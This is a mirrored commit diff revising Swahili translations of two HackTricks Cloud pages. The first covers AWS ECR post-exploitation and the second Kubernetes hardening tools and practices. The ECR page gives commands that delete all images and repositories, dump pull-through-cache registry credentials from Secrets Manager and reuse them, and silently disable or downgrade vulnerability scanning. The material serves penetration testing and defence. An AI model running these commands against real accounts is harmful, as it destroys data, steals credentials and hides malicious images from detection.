gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

Browse Source
This commit is contained in:
Translator
2025-12-17 10:13:48 +00:00
parent be5043d6fb
commit ad8d8c8a7b
2 changed files with 184 additions and 80 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
+50 -18
View File
@@ -4,7 +4,7 @@
## ECR
Kwa maelezo zaidi angalia
Kwa habari zaidi angalia
{{#ref}}
../../aws-services/aws-ecr-enum.md
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
Baada ya kupakua images unapaswa **kuzikagua kwa ajili ya taarifa nyeti**:
Baada ya kupakua images unapaswa **kuzikagua kwa taarifa nyeti**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
Mshambuliaji mwenye ruhusa yoyote ya hizi anaweza **kuunda au kubadilisha lifecycle policy ili kufuta images zote katika repository** na kisha **kufuta ECR repository nzima**. Hii itasababisha kupoteza images zote za container zilizohifadhiwa katika repository.
Mshambuliaji mwenye idhini yoyote ya hizi anaweza **kuunda au kubadilisha lifecycle policy ili kufuta images zote katika repository** na kisha **kufuta repository nzima ya ECR**. Hii itasababisha kupoteza images zote za container zilizohifadhiwa katika repository.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
@@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
### Exfiltrate nywila za registri za upstream kutoka ECR Pull‑Through Cache (PTC)
### Kutoa nje kwa siri kwa sifa za kuingia za upstream registry kutoka ECR Pull‑Through Cache (PTC)
Ikiwa ECR Pull‑Through Cache imewekwa kwa registries za upstream zilizo na uthibitishaji (Docker Hub, GHCR, ACR, etc.), nywila za upstream zinahifadhiwa katika AWS Secrets Manager kwa kiandishi cha jina kinachotabirika: `ecr-pullthroughcache/`. Waendeshaji mara kwa mara huwapa ECR admins ruhusa kubwa ya kusoma Secrets Manager, ikiruhusu credential exfiltration na matumizi tena nje ya AWS.
Ikiwa ECR Pull‑Through Cache imewekwa kwa registries za upstream zilizothibitishwa (Docker Hub, GHCR, ACR, n.k.), sifa za kuingia za upstream zinahifadhiwa katika AWS Secrets Manager zikiwa na awali ya jina inayoweza kutabirika: `ecr-pullthroughcache/`. Wataalamu wa uendeshaji wakati mwingine huwapa wasimamizi wa ECR ruhusa kubwa za kusoma Secrets Manager, ikiruhusu kutoa nje kwa siri kwa sifa za kuingia na matumizi tena nje ya AWS.
Mahitaji
Requirements
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Orodhesha siri za PTC zinazoweza kuwa mgombea
Orodhesha siri za PTC zinazowezekana
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
Dump secrets zilizogunduliwa na chambua mashamba ya kawaida
Dump secrets zilizogunduliwa na kuchambua viwanja vya kawaida
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -119,18 +119,18 @@ Hiari: thibitisha leaked creds dhidi ya upstream (read‑only login)
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
Impact
- Kusoma entry hizi za Secrets Manager kunatoa reusable upstream registry credentials (username/password or token), ambazo zinaweza kutumiwa vibaya nje ya AWS kuvuta private images au kupata repositories za ziada kulingana na upstream permissions.
- Kusoma hizi entry za Secrets Manager kunatoa reusable upstream registry credentials (username/password au token), ambazo zinaweza kutumiwa vibaya nje ya AWS kuvuta private images au kufikia repositories za ziada kulingana na ruhusa za upstream.
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
### Ukimya wa ngazi ya registry: zima au punguza skanning kwa kutumia `ecr:PutRegistryScanningConfiguration`
Mshambuliaji mwenye ruhusa za ngazi ya registry za ECR anaweza kimya kimya kupunguza au kuzima automatic vulnerability scanning kwa repositories zote (ALL) kwa kuweka registry scanning configuration kuwa BASIC bila sheria za scan-on-push. Hii inazuia new image pushes kutochunguzwa kwa njia ya otomatiki, ikificha vulnerable au malicious images.
Mshambuliaji mwenye ruhusa za ngazi ya registry za ECR anaweza kimya kupunguza au kuzima skanning ya udhaifu ya moja kwa moja kwa repositories ZOTE kwa kuweka registry scanning configuration kuwa BASIC bila sheria za scan-on-push. Hii inazuia image mpya zinazopushiwa kutazamwa kiotomatiki, ikificha images zilizo hatarishi au zenye nia mbaya.
Requirements
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
- ecr:PutImageScanningConfiguration (hiari, kwa kila repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (uthibitisho)
Registry-wide downgrade to manual (no auto scans)
```bash
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
Hiari: dhoofisha zaidi katika wigo la repo
Hiari: kupunguza zaidi katika wigo wa repo
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
@@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \
--image-scanning-configuration scanOnPush=false
```
Athari
- Push mpya za image katika registry hazifanyi scan kiotomatiki, hupunguza mwonekano wa maudhui yaliyo hatarishi au ya maliciozi na kuchelewesha utambuzi hadi scan ya mwongozo itakapofanywa.
- Pushes mpya za image kwenye registry haziscanned kwa otomatiki, kupunguza uonekano wa maudhui yaliyo hatarini au ya malicious na kuchelewesha detection hadi manual scan itakapowashwa.
### Kupunguza ubora wa scanning engine ya registry nzima kupitia `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
### Kupungua kwa scanning engine ya registry nzima kupitia `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
Punguza ubora wa utambuzi wa vulnerabilities katika registry yote kwa kubadilisha BASIC scan engine kutoka default AWS_NATIVE kwenda engine ya legacy CLAIR. Hii haitoi disabled scanning lakini inaweza kubadilisha kwa kiasi matokeo/coverage. Imeunganishwa na configuration ya BASIC registry scanning bila rules ili kufanya scans ziwe za mwongozo pekee.
Punguza ubora wa vulnerability detection katika registry nzima kwa kubadilisha BASIC scan engine kutoka default AWS_NATIVE hadi legacy CLAIR engine. Hii haiizimi scanning lakini inaweza kubadilisha kwa kiasi findings/coverage. Unganisha na BASIC registry scanning configuration bila rules ili kufanya scans kuwa manual-only.
Mahitaji
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
Athari
- Registry setting `BASIC_SCAN_TYPE_VERSION` set to `CLAIR` hivyo BASIC scans zinazofuata zinaendesha na engine iliyopunguzwa. CloudTrail inarekodi API call ya `PutAccountSetting`.
- Registry setting `BASIC_SCAN_TYPE_VERSION` imewekwa kuwa `CLAIR` hivyo BASIC scans zifuatazo zitaendeshwa na engine iliyodhorofishwa. CloudTrail inarekodi API call ya `PutAccountSetting`.
Hatua
```bash
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
### Piga skani ECR images kwa ajili ya udhaifu
```bash
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
```
{{#include ../../../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
+134 -62
View File
@@ -1,4 +1,4 @@
# Kuimarisha Kubernetes
# Uimarishaji wa Kubernetes
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
Inafanya **ukaguzi kadhaa wa ulinganifu kwenye cluster ya Kubernetes**. Inajumuisha msaada kwa CIS, National Security Agency (NSA) na Cybersecurity and Infrastructure Security Agency (CISA) ripoti ya kiufundi ya Cybersecurity kwa kuimarisha Kubernetes.
Inafanya **ukaguzi kadhaa wa uzingatiaji kwenye cluster ya Kubernetes**. Inajumuisha msaada kwa CIS, National Security Agency (NSA) na Cybersecurity and Infrastructure Security Agency (CISA) — ripoti za kiufundi za usalama wa mtandao kwa uimarishaji wa Kubernetes.
```bash
# Install Steampipe
brew install turbot/tap/powerpipe
@@ -27,96 +27,96 @@ powerpipe server
```
### [**Kubescape**](https://github.com/armosec/kubescape)
[**Kubescape**](https://github.com/armosec/kubescape) ni zana ya chanzo wazi ya K8s inayotoa single pane of glass kwa K8s katika multi-cloud, ikijumuisha uchambuzi wa hatari, uzingatiaji wa usalama, visualizer ya RBAC na ukaguzi wa udhaifu wa image. Kubescape hupima cluster za K8s, faili za YAML, na charts za HELM, ikigundua mipangilio isiyo sahihi kwa mujibu wa mifumo mbalimbali (kama the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), udhaifu wa software, na ukiukwaji wa RBAC (role-based-access-control) katika hatua za mwanzo za CI/CD pipeline, inahesabu risk score papo kwa papo na inaonyesha mwelekeo wa hatari kwa muda.
[**Kubescape**](https://github.com/armosec/kubescape) ni zana ya chanzo wazi ya K8s inayotoa dirisha moja la usimamizi kwa mazingira ya multi-cloud, ikijumuisha uchambuzi wa hatari, uzingatiaji wa usalama, visualizer ya RBAC na uchunguzi wa udhaifu wa image. Kubescape huchunguza clusters za K8s, faili za YAML, na charts za HELM, ikigundua mipangilio isiyofaa kulingana na mifumo mbalimbali (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), udhaifu wa software, na ukiukaji wa RBAC (role-based-access-control) katika hatua za mwanzo za CI/CD pipeline, hukokotoa alama ya hatari mara moja na inaonyesha mwelekeo wa hatari kwa muda.
```bash
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan --verbose
```
### [**Popeye**](https://github.com/derailed/popeye)
[**Popeye**](https://github.com/derailed/popeye) ni utility ambayo inascan live Kubernetes cluster na **inaripoti matatizo yanayowezekana na resources na configurations zilizowekwa**. Inasafisha cluster yako kulingana na kilichowekwa na si kile kilicho kwenye diski. Kwa kuscan cluster yako, inagundua misconfigurations na inakusaidia kuhakikisha kwamba best practices ziko mahali, hivyo kuzuia shida za baadaye. Inalenga kupunguza cognitive \_over_load mtu anakutana nayo anapoendesha Kubernetes cluster katika mazingira ya wazi. Zaidi ya hayo, ikiwa cluster yako inatumia metric-server, inaripoti allocations za resources zinazoweza kuwa za ziada/ndogo na inajaribu kukutahadharisha ikiwa cluster yako itakosa capacity.
[**Popeye**](https://github.com/derailed/popeye) ni zana inayosaka Kubernetes cluster hai na **inaripoti matatizo yanayoweza kutokea kwenye resources na configurations zilizowekwa**. Inasafisha cluster yako kulingana na kile kilichowekwa na si kile kilichokaa kwenye diski. Kwa kusaka cluster yako, hutambua makosa ya usanidi na inakusaidia kuhakikisha kwamba mbinu bora za matumizi zipo, hivyo kuzuia matatizo ya baadaye. Inalenga kupunguza mzigo wa kifikra \_over_load unaokutana nayo wakati wa kuendesha Kubernetes cluster katika mazingira halisi. Zaidi ya hayo, ikiwa cluster yako inatumia metric-server, inaripoti uwezekano wa over/under allocations za rasilimali na inajaribu kukujulisha ikiwa cluster yako itakosa uwezo.
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) ni zana inayothibitisha kama Kubernetes imewekwa kwa usalama kwa kuendesha ukaguzi unaoelezwa katika [**CIS Kubernetes Benchmark**].\
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) ni chombo kinachothibitisha kama Kubernetes imewekwa kwa usalama kwa kuendesha ukaguzi uliyoelezwa katika [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
Unaweza kuchagua:
- kuendesha kube-bench kutoka ndani ya container (sharing PID namespace with the host)
- kuendesha container inayosakinisha kube-bench kwenye host, kisha kuendesha kube-bench moja kwa moja kwenye host
- install the latest binaries from the [Releases page](https://github.com/aquasecurity/kube-bench/releases),
- compile it from source.
- endesha kube-bench kutoka ndani ya container (ukishirikisha PID namespace na host)
- endesha container inayosakinisha kube-bench kwenye host, kisha endesha kube-bench moja kwa moja kwenye host
- sakinisha binaries za hivi karibuni kutoka kwenye [Releases page](https://github.com/aquasecurity/kube-bench/releases),
- compile kutoka source.
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) ni command line tool na Go package kwa **kukagua Kubernetes clusters** kwa masuala mbalimbali ya usalama.
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) ni zana ya mstari wa amri na Go package ya **kukagua Kubernetes clusters** kwa masuala mbalimbali ya usalama.
Kubeaudit inaweza kugundua ikiwa inakimbia ndani ya container katika cluster. Ikiwa hivyo, itajaribu kukagua all Kubernetes resources katika cluster hiyo:
Kubeaudit inaweza kugundua ikiwa inaendeshwa ndani ya container katika cluster. Ikiwa ndivyo, itajaribu kukagua rasilimali zote za Kubernetes katika cluster hiyo:
```
kubeaudit all
```
Zana hii pia ina hoja `autofix` ili **kurekebisha matatizo yaliyotambuliwa moja kwa moja.**
Chombo hiki pia kina argumenti `autofix` ili **kurekebisha moja kwa moja matatizo yaliyogunduliwa.**
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
**[HAITUMIKI]** Zana [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) hufuatilia udhaifu wa usalama katika clusters za Kubernetes. Zana ilibuniwa ili kuongeza uelewa na uwazi wa masuala ya usalama katika mazingira ya Kubernetes.
**[IMEPITWA NA WAKATI]** Chombo [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) hutafuta udhaifu wa usalama katika Kubernetes clusters. Chombo kilitengenezwa ili kuongeza uelewa na uwonekano wa masuala ya usalama katika mazingira ya Kubernetes.
```bash
kube-hunter --remote some.node.com
```
### [Trivy](https://github.com/aquasecurity/trivy)
[Trivy](https://github.com/aquasecurity/trivy) ina scanners zinazotafuta masuala ya usalama, na malengo ambapo inaweza kupata masuala hayo:
[Trivy](https://github.com/aquasecurity/trivy) ina vichunguzi vinavyotafuta matatizo ya usalama, na malengo ambapo vinaweza kupata matatizo hayo:
- Container Image
- Filesystem
- Image ya Container
- Mfumo wa faili
- Git Repository (remote)
- Virtual Machine Image
- Image ya Virtual Machine
- Kubernetes
### [**Kubei**](https://github.com/Erezf-p/kubei)
**[Inaonekana haitosimamiwa]**
**[Inaonekana haijaendelezwa]**
[**Kubei**](https://github.com/Erezf-p/kubei) ni zana ya vulnerabilities scanning na CIS Docker benchmark ambayo inawawezesha watumiaji kupata tathmini sahihi na ya papo hapo ya hatari za kubernetes clusters zao. Kubei inascans all images ambazo zinatumiwa katika Kubernetes cluster, ikijumuisha images za application pods na system pods.
[**Kubei**](https://github.com/Erezf-p/kubei) ni zana ya kuchanganua udhaifu na CIS Docker benchmark ambayo inawawezesha watumiaji kupata tathmini sahihi na ya papo hapo ya hatari ya clusters zao za Kubernetes. Kubei inachunguza picha zote zinazotumika katika Kubernetes cluster, ikiwa ni pamoja na picha za application pods na system pods.
### [**KubiScan**](https://github.com/cyberark/KubiScan)
[**KubiScan**](https://github.com/cyberark/KubiScan) ni zana ya kuchunguza Kubernetes cluster kwa ruhusa zenye hatari katika modeli ya uthibitishaji ya Role-based access control (RBAC) ya Kubernetes.
[**KubiScan**](https://github.com/cyberark/KubiScan) ni zana ya kuchanganua Kubernetes cluster kutafuta ruhusa zenye hatari katika modeli ya utoaji idhini ya Role-based access control (RBAC) ya Kubernetes.
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) ni zana iliyojengwa kutesta aina nyingine za ukaguzi zenye hatari kubwa ikilinganishwa na zana nyingine. Kimsingi ina modes 3 tofauti:
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) ni zana iliyojengwa kujaribu aina nyingine za ukaguzi zenye hatari kubwa ikilinganishwa na zana zingine. Kimsingi ina modi 3 tofauti:
- **`find-role-relationships`**: Ambayo itagundua ni AWS roles zipi zinaendeshwa katika pods gani
- **`find-secrets`**: Inajitahidi kutambua secrets katika rasilimali za K8s kama Pods, ConfigMaps, na Secrets.
- **`test-imds-access`**: Itajaribu kuendesha pods na kujaribu kupata metadata v1 na v2. ONYO: Hii itaendesha pod kwenye cluster; kuwa mwangalifu sana kwa sababu huenda haukutaki kufanya hivyo!
- **`find-role-relationships`**: Itakayopata ni AWS roles zipi zinaendeshwa katika pods gani
- **`find-secrets`**: Inajaribu kutambua secrets katika rasilimali za K8s kama Pods, ConfigMaps, na Secrets.
- **`test-imds-access`**: Itajaribu kuendesha pods na kujaribu kufikia metadata v1 na v2. ONYO: Hii itaendesha pod katika cluster, kuwa mwangalifu sana kwa sababu huenda hauitaka kufanya hivyo!
## **Kagua IaC Code**
## **Audit IaC Code**
### [**KICS**](https://github.com/Checkmarx/kics)
[**KICS**](https://github.com/Checkmarx/kics) inapata security vulnerabilities, masuala ya compliance, na misconfiguration za miundombinu katika suluhisho zifuatazo za Infrastructure as Code: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, na OpenAPI 3.0 specifications
[**KICS**](https://github.com/Checkmarx/kics) hutambua **udhaifu wa usalama**, masuala ya ufuataji, na mipangilio isiyo sahihi ya miundombinu katika **suluhisho za Infrastructure as Code** zifuatazo: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, na OpenAPI 3.0 specifications
### [**Checkov**](https://github.com/bridgecrewio/checkov)
[**Checkov**](https://github.com/bridgecrewio/checkov) ni zana ya static code analysis kwa infrastructure-as-code.
[**Checkov**](https://github.com/bridgecrewio/checkov) ni chombo cha uchambuzi wa msimbo statiki kwa infrastructure-as-code.
Inascans cloud infrastructure iliyotolewa kwa kutumia [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) au [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) na inagundua security na compliance misconfigurations kwa kutumia graph-based scanning.
Inachunguza miundombinu ya cloud iliyotolewa kwa kutumia [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) au [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) na hugundua mipangilio mibaya ya usalama na ufuataji kwa kutumia uchunguzi unaotegemea grafu.
### [**Kube-score**](https://github.com/zegl/kube-score)
[**kube-score**](https://github.com/zegl/kube-score) ni zana inayofanya static code analysis ya Kubernetes object definitions zako.
[**kube-score**](https://github.com/zegl/kube-score) ni zana inayofanya uchambuzi wa msimbo statiki wa ufafanuzi wa vitu vya Kubernetes yako.
To install:
| Usambazaji | Amri / Kiungo |
| --------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| Binary zilizotengenezwa tayari kwa macOS, Linux, na Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Usambazaji | Amri / Kiungo |
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS and Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
## Zana za kuchambua faili za YAML & Helm Charts
## Tools to analyze YAML files & Helm Charts
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
```bash
@@ -162,41 +162,113 @@ helm template chart /path/to/chart \
--set 'config.urls[0]=https://dummy.backend.internal' \
| kubesec scan -
```
## Skana matatizo ya utegemezi
### Skana picha
```bash
#!/bin/bash
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
echo "All images found: $images"
echo ""
echo ""
for image in $images; do
# Run trivy scan and save JSON output
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
# Extract binary targets that have vulnerabilities
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
if [ -n "$binaries" ]; then
echo "- **Image:** $image"
while IFS= read -r binary; do
echo " - **Binary:** $binary"
jq -r --arg target "$binary" '
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
' /tmp/result.json
done <<< "$binaries"
echo ""
echo ""
echo ""
fi
done
```
### Chunguza Helm charts
```bash
#!/bin/bash
# scan-helm-charts.sh
# This script lists all Helm releases, renders their manifests,
# and then scans each manifest with Trivy for configuration issues.
# Check that jq is installed
if ! command -v jq &>/dev/null; then
echo "jq is required but not installed. Please install jq and rerun."
exit 1
fi
# List all helm releases and extract namespace and release name
echo "Listing Helm releases..."
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
# Check if any releases were found
if [ ! -s helm_releases.txt ]; then
echo "No Helm releases found."
exit 0
fi
# Loop through each Helm release and scan its rendered manifest
while IFS=" " read -r namespace release; do
echo "---------------------------------------------"
echo "Scanning Helm release '$release' in namespace '$namespace'..."
# Render the Helm chart manifest
manifest_file="${release}-manifest.yaml"
helm get manifest "$release" -n "$namespace" > "$manifest_file"
if [ $? -ne 0 ]; then
echo "Failed to get manifest for $release in $namespace. Skipping."
continue
fi
# Scan the manifest with Trivy (configuration scan)
echo "Running Trivy config scan on $manifest_file..."
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
echo "Completed scan for $release."
done < helm_releases.txt
echo "---------------------------------------------"
echo "Helm chart scanning complete."
```
## Vidokezo
### Kubernetes PodSecurityContext na SecurityContext
Unaweza kusanidi **security context ya Pods** (kwa _PodSecurityContext_) na ya **containers** zitakazotumika (kwa _SecurityContext_). Kwa taarifa zaidi soma:
Unaweza kusanidi **security context ya Pods** (kwa _PodSecurityContext_) na ya **containers** zitakazotekelezwa (kwa _SecurityContext_). Kwa habari zaidi soma:
{{#ref}}
kubernetes-securitycontext-s.md
{{#endref}}
### Kukaza usalama wa Kubernetes API
### Kubernetes API Uimarishaji
Ni muhimu sana **kulinda ufikiaji wa Kubernetes Api Server** kwani mhalifu mwenye vibali vya kutosha anaweza kuweza kuitumia vibaya na kuharibu mazingira kwa njia nyingi.\
Ni muhimu kuhakikisha usalama wa both **access** (**whitelist** origins za kufikia API Server na kukataa muunganisho mwingine wowote) na [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (ikifuata kanuni ya **least** **privilege**). Na bila shaka **kamwe** usiruhusu **anonymous** **requests**.
Ni muhimu sana **kulinda ufikiaji wa Kubernetes Api Server** kwani muovu mwenye vibali vya kutosha anaweza kuitumia vibaya na kuharibu mazingira kwa njia nyingi.\
Ni muhimu kuhakikisha usalama wa zote mbili: **access** (**whitelist** origins to access the API Server and deny any other connection) na the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (kwa kufuata kanuni ya **least** **privilege**). Na hakika **kamwe** **usiruhusu** **anonymous** **requests**.
Mchakato wa kawaida wa Ombi:\
User au K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
**Mchakato wa ombi wa kawaida:**\
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
Vidokezo:
**Vidokezo**:
- Funga bandari.
- Epuka ufikiaji wa Anonymous.
- Funga ports.
- Epuka Anonymous access.
- NodeRestriction; Hakuna ufikiaji kutoka nodes maalum kwa API.
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- Kwa msingi, inazuia kubelets kuingiza/kuondoa/kusasisha labels zenye kiambishi node-restriction.kubernetes.io/. Kiambishi hiki cha label kimehifadhiwa kwa administrators kwa ajili ya kuweka lebo kwenye Node objects kwa madhumuni ya kutenganisha workloads, na kubelets hazitaruhusiwa kubadilisha labels zenye kiambishi hicho.
- Na pia, inaruhusu kubelets kuongeza/kuondoa/kusasisha label hizi na viambishi vya lebo.
- Hakikisha utenganisho salama wa workloads kwa kutumia lebo.
- Zuia pods maalum kupata ufikiaji wa API.
- Epuka kuonyesha ApiServer kwenye intaneti.
- Inamaanisha inazuia kubelets kuongeza/kuondoa/kuhariri labels zenye prefix node-restriction.kubernetes.io/. Prefix hii ya label imehifadhiwa kwa administrators kuweka lebo kwenye Node objects zao kwa ajili ya workload isolation, na kubelets hawataruhusiwa kubadilisha labels zenye prefix hiyo.
- Na pia, inaruhusu kubelets kuongeza/kuondoa/kuhariri lebo hizi na prefixes za lebo.
- Tumia labels kuhakikisha secure workload isolation.
- Zuia pods maalum kupata API.
- Epuka ApiServer exposure kwenye internet.
- Epuka ufikiaji usioidhinishwa kwa RBAC.
- Weka bandari ya ApiServer nyuma ya firewall na fanya IP whitelisting.
- ApiServer port iwe chini ya firewall na IP whitelisting.
### Kukaza SecurityContext
### SecurityContext Uimarishaji
Kwa default mtumiaji root atatumika wakati Pod inapoanzishwa ikiwa hakuna mtumiaji mwingine ameainishwa. Unaweza kuendesha application yako ndani ya context yenye usalama zaidi ukitumia template inayofanana na ile ifuatayo:
Kwa default mtumiaji root atatumika wakati Pod inapoanzishwa ikiwa hakuna user mwingine aliyebainishwa. Unaweza kuendesha application yako ndani ya muktadha wa usalama zaidi kwa kutumia template inayofanana na ifuatayo:
```yaml
apiVersion: v1
kind: Pod
@@ -225,30 +297,30 @@ allowPrivilegeEscalation: true
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
### Kuimarisha kwa jumla
### Uimarishaji wa Jumla
Unapaswa kusasisha mazingira yako ya Kubernetes mara kwa mara kadri inavyohitajika ili kuwa na:
- Tegemezi zikiwa za kisasa.
- Patch za hitilafu (bug) na usalama.
- Mategemeo yakiwa ya sasa.
- Marekebisho ya bug na usalama.
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Kila miezi 3 kuna toleo ndogo jipya -- 1.20.3 = 1(Major).20(Minor).3(patch)
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Kila miezi 3 kuna toleo dogo jipya -- 1.20.3 = 1(Major).20(Minor).3(patch)
**Njia bora ya kusasisha Kubernetes Cluster ni (kutoka** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
- Sasisha vipengele vya Master Node kwa kufuata mfuatano huu:
- etcd (instances zote).
- kube-apiserver (host zote za control plane).
